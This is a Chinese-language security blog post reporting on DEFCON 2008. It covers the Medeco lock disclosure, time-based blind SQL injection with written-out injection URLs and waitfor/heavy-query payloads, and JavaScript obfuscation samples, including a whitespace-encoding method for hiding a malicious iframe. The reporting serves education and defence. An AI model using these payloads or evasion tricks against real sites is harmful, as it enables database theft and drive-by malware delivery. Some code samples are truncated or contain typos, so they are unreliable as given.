簡單來說,跨站腳本攻擊(XSS)的基本精神就是駭客在 HTML 文件中安插網頁腳本語言(譬如 JavaScript 或 VBScript),讓受駭方的瀏覽器在瀏覽網頁時進而去執行。這延伸兩個討論議題:
1. 為何駭客能夠在 HTML 文件中安插這些腳本?
在 Web 2.0 的時代,大部分的網頁或多或少都需要產生動態內容,都需要與使用者互動,一旦使用者所提供的資料(譬如惡意腳本字串)有機會成為動態輸出的 HTML 內容的一部份時,這樣惡意腳本就被成功地安插進原本合法無惡意的 HTML 文件了。這也是為何許多客戶最後選擇從源碼檢測著手,揪出這些進入點與輸出點,治本地解決跨站腳本攻擊(XSS)。

2. 為何瀏覽器會去執行這些腳本?
瀏覽器只是如實地遵循 W3C (World Wide Web Consortium) 所制定的 HTML 標準(目前最新版本為 HTML 4.01),正確地支援各語法標籤應表現的樣式與行為,因此當應該執行腳本時,就會執行這些腳本,儘管他們可能是惡意的,包括偷取 Cookie、置換網頁、轉址、攻擊其他網站等。

作者 Dr. Benson Wu 為 阿碼科技 產品經理

繼續閱讀全文...

2008年9月4日

美國駭客年會 DEFCON 2008 觀察--第一天

豪不必馳千騎,雄不在垂雙鞬,天生俊氣自相逐,出與鵰鶚同飛翻 --李益

(此文續「美國駭客年會 Black Hat 2008 觀察--第二天」...)

0. 可以 program 的 DEFCON 吊牌
1. Schuyler Towne & Jon King: 美國最安全鎖頭 Medeco 的破解與完整揭露
2. Chema Alonso: 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表
3. Kolisar: 空白字元:JavaScript 變形的新方法
4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路
5. Wendel Guglielmetti Henrique:打穿 WAF
6. 黑白帽相見歡(Meet the Feds)
7. NIST:量子加密(Quantum Cryptography)
8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)

(抱歉讓大家久等了,我發現每天要到晚上一點多才有空 blog。)

昨天晚上沒有先來 DEFCON 報到,今天早上報到隊伍排得好長。排我前面跟後面的兩個人都在跑 metasploit 跟 nmap ;前面一個人是用 iphone 裝了 cydia(要裝的看這)在跑,後面一個是拿他那低於兩百美金買的寶貝 XO Laptop 裝了 Ubuntu(要裝的看這)在跑。穿著 tshirt 牛仔褲,沒有整理的頭髮,躲在厚重眼鏡後面因熬夜而快睜不開的眼睛...比起那些西裝筆挺,鞋子發亮,頭髮整齊,幽默風趣又能言善道的業務,這裡很多人看起來可能並不是型男,但是在數位世界中,他們是絕對的高手。

0. 可以 program 的 DEFCON 吊牌


DEFCON 這幾年的 pass 都做得很酷,今年的 pass,上面有一個 SD 讀卡機,還有 USB 接頭和一堆可以客製化的功能--可以無線傳輸,發出紅外線訊號充當電視遙控器,或相互通訊等。我一報到完一樣,雖然付費參加,還是跟 nico 和 dirk 知會過,拿了另一個媒體的牌,並簽了拍照的合約。DEFCON 跟 Black Hat 比起來,對於拍照更是敏感,所以我一直都很小心,也跟他們一直保持互動。底下綠色的是媒體 pass,白色的是一般的 pass。



看看其他人加工過的牌子吧!照片是這裡來的。


這個牌子可以讓你自己焊接一個 USB 接頭上去,就可以開始設計他了。所有需要用的軟體工具與 SDK,在 DEFCON 的 CD片中都有附。贏得比賽的人,可以拿到一個黑色的牌子,就獲得終身免費參加 DEFCON 的資格囉!設計這個牌子的是外號「Kinping」的 Joe Grand,以下是他介紹整個設計的訪問影片:



1. 美國最安全鎖頭 Medeco 的破解與完整揭露(投影片)

進去後先吃早餐,排隊排到都餓了。我坐下來,發現旁邊是一位很年輕的美國人,看來很想睡覺,眼睛幾乎睜不開了,但是手卻很忙,仔細一看,他正在開鎖,工具就擺在桌上。邊吃邊聊了起來,原來他就是 Jon King,正在開美國能做出來最安全的鎖:Medeco 的最頂級六針型鎖頭。Medeco 目前有超過四百名員工,在美國高階鎖市場市佔率達七成以上,凡舉各銀行,機密單位,軍方等,一律都採用Medeco 的鎖,所以一般美國鎖匠,也把 Medeco 看成是「終極神鎖」。

Jon 說他兩天沒睡了,眼睛睜不開,但是還是很熱心的一直跟我說,他是如何破解這顆鎖的。雖然我不懂鎖,但是聽起來真是有趣,找漏洞需要有一種特殊的「心理狀態」,而這種狀態,看來似乎實體安全跟資訊安全所需要的其實差不多。另外我更有興趣的是,他從驗證弱點到與廠商互動到公開攻擊方法的整個過程,也就是所謂的負責的弱點揭露(responsible vulnerability disclosure)的程序。這個議題雖然目前在資安圈,尤其是各大駭客年會上,正是個火熱的話題,但是在鎖匠的社群裡,這個議題已經有很長的歷史了(鎖跟電腦的發明差了多久?),可能也因為如此,似乎處理的方式也比較成熟。

Jon 與 Medeco 的故事,要從去年的 DEFCON 15 (2007)說起...

去年,Schuyler Towne 第一次來到 DEFCON,向駭客們介紹了 locksport。Locksport 是一個新興的文化,把研究鎖的設計與弱點當成興趣。這種社群最成熟的是在荷蘭的 TOOOL,每年都舉辦開鎖大賽 Dutch Open(這裡有 wired 對 2004 年大賽的報導),並努力希望奧運能加入開鎖比賽的項目。

Schuyler Towne 並在大會中發表了他創辦的「非破壞性進入(Non Destructive Entry)」雜誌。他當時演講的錄影在這裡,投影片在這裡。

在另外一頭,Medeco 的首席工程師 Peter Field 首次於荷蘭 TOOOL 舉辦的開鎖年賽 Dutch Open 上演講。Peter 自 1960 年開始做鎖匠,於1978年被 Medeco 聘用,目前他已經擁有了超過 15 篇的美國專利。Peter 在開鎖大賽中長達四小時的馬拉松式演講充分表達了他對此社群的支持,也讓研究開鎖的社群與設計鎖的公司有了更好的互動。

而又在另外一頭,Jon King 今年 22 歲,在跟著美國海軍跑船之餘,利用空閒時間研究鎖的結構與開鎖的技巧,當然也研究美國最難開的 Medeco 鎖。2007 年九月時,其實 Jon 已經成功的開啟他他手上的 Medeco,但是他繼續研究,這是偶發事件,還是可以做出工具,讓攻擊可以簡單並系統化的重複?如果可以,那麼無敵的 Medeco 就算是真的配破解了。

Peter 演講後一個月,Jon 做出了 Medecoder 開鎖工具,可以重複地開 Medeco。今年二月,Jon 找上了 Schuyler Towne。他讀過 Schuyler 創辦的NDE 雜誌,他知道 Schuyler 可以幫他解決目前的一大難題:如何公開這個會讓美國所有最機密單位與銀行瞬間陷入危險的研究:Medeco 破解法與 Medecoder?

弱點揭露(vulnerability disclosure)中,雙方永遠是不對等的(就像最近 Google 與 RSnake 事件)。Medeco 是四百人的公司,背後還有美國政府。Jon 是一個 22 歲的小伙子。如果 Jon 與 Medeco 簽了保密合約(NDA),那麼 Jon 沒有 Medeco 允許,不能公開他找到的弱點。可是這種弱點可能讓一個製鎖公司瞬間瀕臨倒閉(記得 2004 年 Kryptonite 事件嗎?),Medeco 會讓 Jon 出去講嗎?可是如果不講,Medeco 可能根本不改善弱點,或者出新版後也不承認舊版有弱點(鎖不能 binary diff patch 吧?)如果 Jon 不簽 NDA 而直接完整揭露(full discloser),Medeco 可以稱此為不負責任揭露,發動輿論攻擊或甚至提告 Jon。故事會如何發展呢?

今年四月,Peter 帶著各種工具、零件與攝影機,來到了 Jon 住的公寓。五月,Medeco 已經設計出新一代產品:ARX 並可以生產,對於已經賣出的產品也有了修改套件。七月,Jon 首次於 The Last Hope 資安會議上展現此弱點與攻擊技巧:



七月底,Jon 寫的關於 Medeco 的完全揭露(full disclosure)公布於 NDE 雜誌第四期,裡頭註明了,此篇應 NDE 要求,延遲兩個月公布,目前兩個月時間已過,Medeco 也出了新產品 ARX,Jon 的攻擊對於新產品已失效,對於已經在市面上的眾多舊產品,Medeco 已經出了修補的套件。今天在 DEFCON,Schuyler 與 Jon 首次同台,共同講述了整個從發現弱點、設計攻擊工具、通知廠商到完整揭露的整個過程。整個演講有一半在探討負責的弱點揭露(responsible vulnerability disclosure)程序,內容大致與 NDE 第四期的第一篇文章相同,有興趣的朋友可以讀一讀。



演講中最精彩的,莫過於 Jon 當場拿他設計的工具示範開鎖。第一次很快地,他手一揚,結果又收回來,因為原本以為開了,但是手一抖就沒開成。這時 Jon 說:「各位,我希望我在 DEFCON 能開成,但是我兩天沒睡了,不能保證...」這時很多觀眾幫他出聲打氣:「You can do it Jon!」。一瞬間,從攝影機看到鎖頭動了,轉到開的位置,Jon 立刻把鎖頭高舉,大家興奮得一直鼓掌...



2. 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool)(投影片)(whitepaper)(程式下載)(whitepaper)(extras)(Marathon 工具下載)

Okay,我又得承認,這中間我又開溜了,我跑去聽跟我們做得很相關的滲透測試手法:「時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool) 」。

以下是講師之一的 Chema Alonso(大會、blog):



這個手法的精神主要是,在 blind SQL injection 時,如果不同 SQL injection 指令的結果,無法由 HTTP Response 本身得知,那麼可以用時間差的方式判斷。可以設計一個很耗時的 SQL 指令,這時如果 SQL injection 成功,那麼這個 SQL injection 指令的執行結果,會影響到 Web server 回復 HTTP response 的速度,這個就可以用來判斷 SQL injection 指令執行的結果。

Chema 在台上 demo 時一下子秀出他吸大麻的照片,一下拿出照相機拍台下的聽眾,一下子不斷用西班牙話數著:「一、二、三、四、五,注入成功!」活像個超級黑客。他目前在馬德里的 Rey Juan Carlos University 大學攻讀博士學位,由 Dr. Antonio Guzman 與 Dr. Marta Beltran 共同指導。這個演講其實就是根據他寫的博士論文。

由於兩位西班牙來的講師,Jose Parada 在微軟工作,Chema 也曾獲微軟的 最有價值專家(MS MVP,此演講早在去年底就在微軟官方的 TechNet 上公布過了。

Chema 有一個在西班牙很受歡迎的 blog,如果有興趣的朋友可以讀一讀,如果你懂西班牙文的話。不懂西班牙文,用機器翻譯一下,也會發現很多好東西。例如 Chema 寫了三篇(一、二、三)他的 DEFCON 心得,如果挖一下,你會發現他把他照台下的照片貼出來了。由於 DEFCON 很多人 裝備 打扮 身份 都必較特殊,不喜歡被拍照,一般規定是不可拍群眾的,所以外面很少照片流傳,沒有實際去過的人,也比較不容易想像會場樣子。他什麼時候會拿掉不知道,有興趣的可以看一下 ;-)

另外他也在 blog 上公布了他的投影片...其實他公布了所有人的投影片...其實他連 Black Hat 所有投影片也公布了...

還有很多好玩的啦,自己挖吧!我怎麼看得懂呢?我背後做一個西班牙來的同事 Roman 啊!

這個演講他們也有公布 white paper,在這裡,裡頭你會發現作者還包括另外四位:Daniel、Rodolfo、Antonio 跟 Marta。想看 video 嗎?如果你聽西班牙話的話,這裡有 Daniel 的演講,大同小異。

我就用他們的 paper,簡單帶各位走一遍好了!

先談 blind SQL injection 。假設我是攻擊者,那 Blind SQL injection 講白話些,一般是指在目標網站的資料庫沒有吐錯誤訊息的情況下,進行 SQL injection 的方法。在 SQL injection 中,攻擊者需要知道兩項重要資訊:

1. SQL injection 是否成功?定義:是否能有效影響目標伺服器所執行的 SQL 指令?
2. SQL injection 所注入之指令所執行的結果?

第一點很容易明白,攻擊者要進行 SQL injection,第一步就是必須能有效地從外部影響到目標 web application 所執行的 SQL 指令。如果目標網站有開啟 資料庫 error 訊息,那麼這點可以由 error 訊息來得知。如果沒有開錯誤訊息,則可以由其他方式,例如觀察在成功與失敗的狀況下,回傳網頁的不同而得知。

第二點則十分重要,因為當攻擊者能夠成功地注入指令時,接下來必須能夠得知,注入的指令在執行後的結果;尤其像一些利用 "if" 指令的比對方法,攻擊者必須能掌握指令之結果。我舉個例子。

假設有一個購物網站,其中有一頁,能讓使用者用產品號碼查詢產品。我們知道某產品號碼為 1234,則我們查詢時的 URL 如下:

http://www.victim.com/search.asp?q=1234

會列出產品序號 1234 的相關資料。如果序號查不到,回應的頁面就會寫「查無此產品!」

假設後端 SQL 指令如下,並且沒有處理變數「q」(q 是不乾淨的 tainted):


objConn.Execute("select * from product_table where serial=" + Request.QueryString("q"));


攻擊者可以先測試此 URL:

http://www.victim.com/search.asp?q=1234 AND 1=0

發現回傳:「查無此產品!」

於是攻擊者再試第二個 URL:

http://www.victim.com/search.asp?q=1234 AND 1=1

發現回傳產品 1234 的簡介。於是攻擊者做出以下結論:

A. 此頁有 SQL injection 漏洞,攻擊者可以影響 SQL 指令並有效執行成功。
B. 執行的結果,可以由回傳的頁面不同來判定。

對於 (B),我們把第一個頁面(AND 1=0)稱做負頁面(false page),而把第二個頁面(AND 1=1)稱做正頁面(true page)。這邊目的 是要判斷 SQL condition 的 evaluation 是 true 或 false。

舉例來說,攻擊者於是可以設計以下 URL:

http://www.victim.com/search.asp?q=1234 AND (100>ASCII(Substring((select system_user),1,1)))

如果結果回傳負頁面,告訴我們此資料庫 system_user 名稱的第一個字元的 ASCII 碼小於或等於 100;如果回傳正頁面,則告訴我們第一個字元大於 100。自動化的攻擊工具可以在經過一串測試後,很快地把資料庫目前 system_user 名稱算出來。

感謝講師 Chema Alonso(大會、blog)同意我們轉載他投影片上的任何內容,所以下面我們來看他投影片裡頭用的真實範例(內容完全根據投影片):

第一張我們可以看到,這是我們沒有對 URL 做任何改變時的畫面:


第二張我們把 URL 中加入「and 1=1」,結果回來的頁面是一樣的。這個就是我們的正頁面:


第三張我們把 URL 中加入「and 1=2」,結果回來的頁面不一樣。這個就是我們的負頁面:


這種比對的手法,可以把很多資訊解出來,包含資料庫名稱,table 名稱等等。

好了,所以對於 (1)「是否注入成功」與 (2)「SQL 指令執行結果」,在有錯誤訊息或回傳網頁會因結果而有變化的情況下,攻擊者可以很容易地做出判斷。但是如果這些訊息都沒有,就需要依靠 Blind SQL injection 技巧了。

Blind SQL injection 包含很多方法,從 2000 年大家陸續研究並提出許多 paper。對於初學者來說,整理得比較好的,我覺得是 SQLbfTools 這個 blind SQL injection 工具於於 Black Hat 2004 以及 DEFCON 2004 發表時的投影片。當時這篇發表的價值,是整理出可以判斷 true page / false page 的方法,包含 MD5、HTML tree 的分析、ASCII加總的線性表示等。其中利用 signature 比對的方式,跟我 WWW 2003 那篇提出的 NRE:R1=R2≠R3 的概念是一樣的。

而其實時間差用於 blind SQL injection 的概念,在當初 2002 年 NGS Software 的 Chris Anley 的 (more) Advanced SQL Injection 那篇就已經有提到了,以下幾個是他當時給的例子:

最簡單的來說,以下的 SQL injection 指令會讓我們在沒有知道目前資料庫的帳號是不是 "sa" (Microsoft SQL Server適用):


if (select system_user) = 'sa' waitfor delay '0:0:5'

接下來,看看這個 SQL injection:


declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 0))) > 0 waitfor delay '0:0:5'

根據時間差,我們可以得知目前資料庫名稱字串的第一個 bit 是否是 1。這個 SQL injection:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 1))) > 0 waitfor delay '0:0:5'


可以知道第二個 bit...連續做八次,第一個字母就出來了。假設資料庫名稱有二十個英文字母,也才需要做 80 次,況且現在很多工具都可以幫忙自動化這個過程。常用的自動 SQL injection 工具中,支援 blind SQL injection 的有 SQLbfTools(下載,Black Hat 2004 投影片,DEFCON 2004 投影片)、Absinthe、sqlninja 以及我好朋友寫的 SQL Power Injector 等:

SQLbfTools 畫面(從 Chema 投影片擷取):



Absinthe 畫面(從 Chema 投影片擷取):





sqlninja 畫面(從 Chema 投影片擷取):



SQL Power Injector:


事實上,比起人工的滲透測試,時間差判斷法對於自動工具來說更為重要。因為譬如正負頁面差異的方法,對人來說很好判斷,對自動的程式就比較不容易,因為網頁是很多動態的元件拼起來的,要識別一頁上什麼本來就一直變,要判斷什麼是因為 SQL 指令執行結果不同而變的,有時並不容易。事實上 2002 年我寫完 WWW 2003 那篇論文投稿後,就對這個題目很有興趣(類似 SQLbfTools 的研究),但是由於後來忙於白箱源碼檢測的研究,黑箱就沒有繼續。記憶中 WWW 2004 會議上時就有一篇是做這個的(但是不是給滲透測試用),但是是在 spacial domain 做。其實我覺得這樣的問題可以像大部分 Information Retrieval 模型一樣,拿到 frequency domain 來解。

講遠了,回正題,時間差識別法,對於自動化工具特別重要,因為這個方法容易自動化,不易因為自動化而造成誤判。

既然已經有了這麼多的工具,那麼 Chema 這篇的貢獻在哪裡呢?在於:

1. 他把適合各種平台用的時間差方法(在沒有 wait functions 的情況下)做了很好的整理,並擴充至不支援 T-SQL-like 語法的資料庫。他提的方法是可以通用於各種不同資料庫的,不受資料庫差異影響。
2. 他發表了開放源碼的工具 Marathon Tool。

對於他整裡的時間差方法,因為時間有限,我簡單用他的第一個例子(MS SQL Server heavy query)敘述如下:


SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0 and 300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)


其實我們可以把這個指令簡化來看成兩個 evaluation 被 and 起來:

A and B

其中
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0

B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

這樣看就很清楚,A 是一個 heavy query,沒什麼特別,就是一個會讓 SQL server 做很久的 SQL 指令。

B 則是我們實際上要判斷的:sys.sysusers 的第一個字元 ASCII 碼大於或小於等於 300。

然後,這整個指令會先測 B,如果 B 成立才會測 A,而測 A 需要很久(幾秒)的時間。所以也就是說,如果 B 成立,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。其實講到這邊就講完了...但是,為何 B 會先被 evaluate,然後再 A,造成一個類似 if...then 的狀況?因為這種方式在 SQL injection 技巧中用的蠻多的,我們就來探討一下 :)

這是因為 SQL 語法有 short-circuit evaluation。某些語言,例如 C,有硬性規定 short-circuit evaluation 的運算元(operator)與先後順序(preference)。

例如以下這段 C 程式碼:


int denom = 0;
if (denom && nom/denom) {
oops_i_just_divided_by_zero(); // never happens
}


以上這段永遠不會 division by zero,因為 ANSI C 有硬性規定 "&&" 這個運算元有 short-circuit,而且順序是由左到右。所以因為 denom 是零,所以 nom/denom 永遠不會被 evaluate 到。

那麼這邊問題是:

1. C 有硬性規定,MS SQL 語法有嗎?
2. 如果有,那麼先後順序呢?

答案是,(1) 沒有,但是目前的實做是有,(2) 不一定!為了效率,MS SQL Server 確定會 short-circuit,但是順序為何?左到右?右到左?至今仍是個謎!

要探討這個迷,第一要注意的是,我們這邊運用的是 SQL 語法中的 short-circuit,而 SQL 語言非 procedural 語言。procedural 語言,例如 C,&& 或 || 都有定義 short-circuit,但是 SQL 語言中的 select...where clause,如果用的是「OR」這個運算元,那麼不用懷疑,沒有所謂 short circuit,因為在這種 context 下,被 OR 起來的所有 condition 都需要被 evaluate!所以網路上很多討論都是錯誤的。

至於 MS SQL "AND" 的 short-circuiting,當真是個謎,這裡試出來是左到右,這裡卻是右到左。我沒有太多時間研究,但是我的猜測是,第一,MS SQL 不是 procedural language,所以不會硬性規定順序。第二,MS SQL Server 會根據如何做可以達到最佳效能,來決定所有被 AND 起來的 condition,誰先執行而誰後執行。基本原則是,快的先執行,這樣做 short circuit 才有意義。這是我個人看法,這裡有沒有熟 MS SQL 的看官?

無論如何,Chema 提的例子當中:A and B,其中:
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0

B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

因為執行順序為先 B 後 A(為什麼?我覺得因為 MS SQL Server 判斷 B 比較快 evaluate),所以如果 B 是 true,那麼就會執行 A。也就是說,如果 sysusers 的第一個字母的 ASCII 值大於 300 的話,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。

好玩吧!事實上,我覺得即使把 A / B 對調,變成:B and A,結果還是 B 會先被 evaluate。但是沒有試過就是了... :)

最後,Chema 也將他這次的研究,實做成了工具: Marathon 並在會上發表。跑起來長這樣,注意,重點是支援的資料庫比其他工具多:



3. 空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)(投影片)(程式下載)(線上 demo)

接下來我來到了整個 DEFCON 我最喜歡的演講之一:「空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)」。先不講演講內容,演講者叫「Kolisar」,當然是一個假的名字。演講後我跟他花了很多時間探討,才了解到,他在一家很有名的大公司上班,不是資安公司,但是負責公司的網管與資安。也就是說,對我們阿碼科技這種「廠商」來說,他是「用戶(user)」。用戶上來給演講?沒錯!因為過去一年半,網站掛馬 javascript 變形手法太強,沒有一家能夠有效識別惡意的 javascript(當然那時他不認識阿碼科技),他只好自己拿 spidermonkey 來做,經過一整年與變形後的惡意 javascript 搏鬥後,看得多了,自己也有了心得,於是根據他看到的以及他研究的,他終於說服了老闆來 DEFCON 給演講。什麼?要在駭客年會給演講?傳統的大企業當然有顧忌,所以最後雖然準他來,但是不能用真名,也不能提公司的名字...哈!

但是這就跟我一直提的,在台灣也是一樣,user 都快比很多廠商強了,被訓練出來的!尤其台灣很多經銷代理商,一心只想塞產品給客戶...客戶都只好自求多福,幾年下來功力已經超過廠商了。



Kolisar 給我的第一印象,看他眼睛,非常聰明,但是同時也是一個很認真也很誠懇的人。他的演講整間做得滿滿的,算一算快一千人吧!他一開始就說:這是我第一次來 DEFCON 講...事實上,我給過演講,最多只有 20 個人,結果這次第一次上台竟然那麼多人,所以我現在一直發抖...

他的態度讓大家都很喜歡他,台下一直幫他打氣,他不像其他有經驗的講師很會搞笑,一下子就講完了,但是獲得台下好大的掌聲,後來立刻大家也提了很多的問題。我覺得這種會就是這樣,你只要有東西,不用裝強,大家就會聽你說。

Kolisar 首先介紹了各種 javascript 的編碼方式,我在「美國駭客年會 Black Hat 2008 觀察--第二天」中也記錄了 Billy Hoffman 舉的 各種不同 javascript 的變形方式,也利用 malwareguru.org 介紹了線上許多不同的 javascript 變形器。這邊把之前的文貼一些過來。

我們就拿我之前寫的「神秘 Web 攻擊綁架剪貼簿」來看好了,其中用的一段範例 javascript:


function IE_ClipBoard()
{
if (window.clipboardData) {
window.clipboardData.setData("Text","Hello from Wayne!");
}
}

1. Vanishing Point Packer(網頁、malwareguru 上提供的線上 demo):


eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 3(){2(1.0){1.0.5("8","7 6 9!")}}',10,10,'clipboardData|window|if|IE_ClipBoard|function|setData|from|Hello|Text|Wayne'.split('|'),0,{}))


2. Yellopipe source code encrypter:


document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%7B%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%0A%20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%20from%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%20"));


3. Audit My PC HTML Encoder:


document.write('\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020\u0049\u0045\u005F\u0043\u006C\u0069\u0070\u0042\u006F\u0061\u0072\u0064\u0028\u0029\u0020\u0020\u000D\u007B\u0020\u0020\u000D\u0020\u0020\u0069\u0066\u0020\u0028\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u0029\u0020\u007B\u0020\u0020\u000D\u0020\u0020\u0020\u0020\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u002E\u0073\u0065\u0074\u0044\u0061\u0074\u0061\u0028\u0022\u0054\u0065\u0078\u0074\u0022\u002C\u0022\u0048\u0065\u006C\u006C\u006F\u0020\u0066\u0072\u006F\u006D\u0020\u0057\u0061\u0079\u006E\u0065\u0021\u0022\u0029\u003B\u0020\u0020\u000D\u0020\u0020\u007D\u0020\u0020\u000D\u007D\u0020\u0020');

圖 4

4. 中國的「网?免? 孤程?雪」線上服務:


t="97,108,101,114,116,40,39,72,101,108,108,111,32,102,114,111,109,32,87,97,121,110,101,32,111,102,32,65,114,109,111,114,105,122,101,33,39,41,59"

t=eval("String.fromCharCode("+t+")");


Kolisar 的公司在美國每一個城市幾乎都有辦公室,他的工作是事件處理,從本部飛到每一個辦公室支援。這兩年他著實看了不少的網站掛馬與變形的 javascript,於是他整理如何辨識變形過的 javascript 如下:

1. 經過 escape 的 ASCII / UNICODE 的字串。
範例 1:

eval(unescape ('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f
...
%35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29'));


範例 2:

document.write('\uOO3c\uOO69\uOO66\uOO72\uOO6l\uOO6d\uOO65\uOO2O\uOO73\uOO72\uOO63\uOO3d\uOO27\uOO68\uOO74\uOO74\uOO7O
...
\u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');


2. XOR(ASCII 值)
範例:

function xor_str(plain_str, xor_key) {var xored_str=""; for (var i=0; i < plain_str.length; ++i) xored_str += String.fromCharCode (xor_key ^ plain_str.charCodeAt(i)); return xored_str; }
function asd(a,b) {}; function qwe(c,i) {}; var plain_str="\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96
...
\x84\x96\xa0\xa7"; var xored_str=xor_str(plain_str, 173); eval(xored_str);


3. XOR(字元編碼)
範例:

str = "ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!...
ubi)d(z||"; str2=""; for (i=0;i


4. 拆字
範例

le="rame>";
ok="docum";
uk="eight=0>aj="t.write(";
em="dth=0 h";
cg="nr="e src=/x.htm wi";
eval(ok+aj+cg+nr+em+uk+le);


5. 簡單的編碼
範例

function decrypt_p(x) {var l=x.length,b=1024,i,j,r,p,s,w=0,t=Array(63,53,56,3,9,35,38,14,13,
...
,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j>0;j==) {r=''; for (i=Math.min(l,b);i>0;i--,l--) {w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}else{s=6}}document.write(r)}} decrypt_p("S6dXf5aGSk8t49x1_t721gGPdk72OvU6EUK6fWauC3
...
Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I");


但是以上這些,在有經驗的資安專家眼中,還是很快會被「懷疑」。當然不是變形過的 javascript 就是惡意的,因為 javascript 變形很普遍(見此文),並不是所有變形過的 javascript 都一定是惡意的。但是,至少會引來懷疑。

Kolisar 整理說,基本上碰到有以下幾點的 javascript,他都會懷疑並花時間確認:

1. eval()
2. unescape()
3. document.write()
4. 很長並且沒有意義的字串:
* Escape 過的 ASCII / Unicode 字串
* 加密過的字串
* 等等

好,所以 Kolisar 就想,如果要隱藏一個惡意的 iframe 到一個 HTML 文件裡,但是又不要那麼明顯,該如何做?

於是他決定,第一,還是用 document.write() 來寫出來,但是又不要實際上有 document.write()。該如何做呢?首先他利用以下這段程式(我稍微修改過)取得 "document" 這個字串:


h = this;
for (i in h)
if(i.length == 8 && i.charCodeAt(0) == 100) break;


h=this 所以 h 就是 window。for (i in h) 把 h 裡的每一個 properties 都走一遍,而長度等於 8 而已 "d" (ASCII 100) 開頭的,就只有 "document"。

同樣的,接下來 Kolisar 取得 "write":


for (j in h[i])
if(j.length == 5 && j.charCodeAt(0) == 119) break;


在 document 裡,長度是 5 而以 "w" 開頭的,就只有 "write" 了。

同樣的使法,取得 "getElementById":


for (k in h[i])
if(k.length == 14 && k.charCodeAt(0) == 103) break;


這個手法最有趣的地方,就是惡意 javascript payload 擺的方式。payload 不僅用 whitespaces / tabs 來編碼,而且就直接擺在上述這些 javascript 的每一行後面。這一段 javascript,Kolisar 用:


<script id='p'>


來開頭。所以現在我們要解碼,就必須先取得 "p" 這個 DOM 物件。有了 "document" 以及 "getElementById",這不是問題,下面這一行搞定:


r=h[i][k]('p');


這行等於 r=this.document.getElementById('p') ,但是乍看之下並不明顯。這就是巧妙處之一。

要讀到我們偷放的 whitespaces / javascript,必須要透過 r.innerHTML,於是再做一次:


for (l in r)
if(l.length == 9) && l.charCodeAt(0) == 105) break;


一切就緒,接下來就只剩把 whitespaces / tabs 轉成我們要 document.write 出來的 iframe,然後最後把字串 "o" 寫出來:


h[i][j](o);


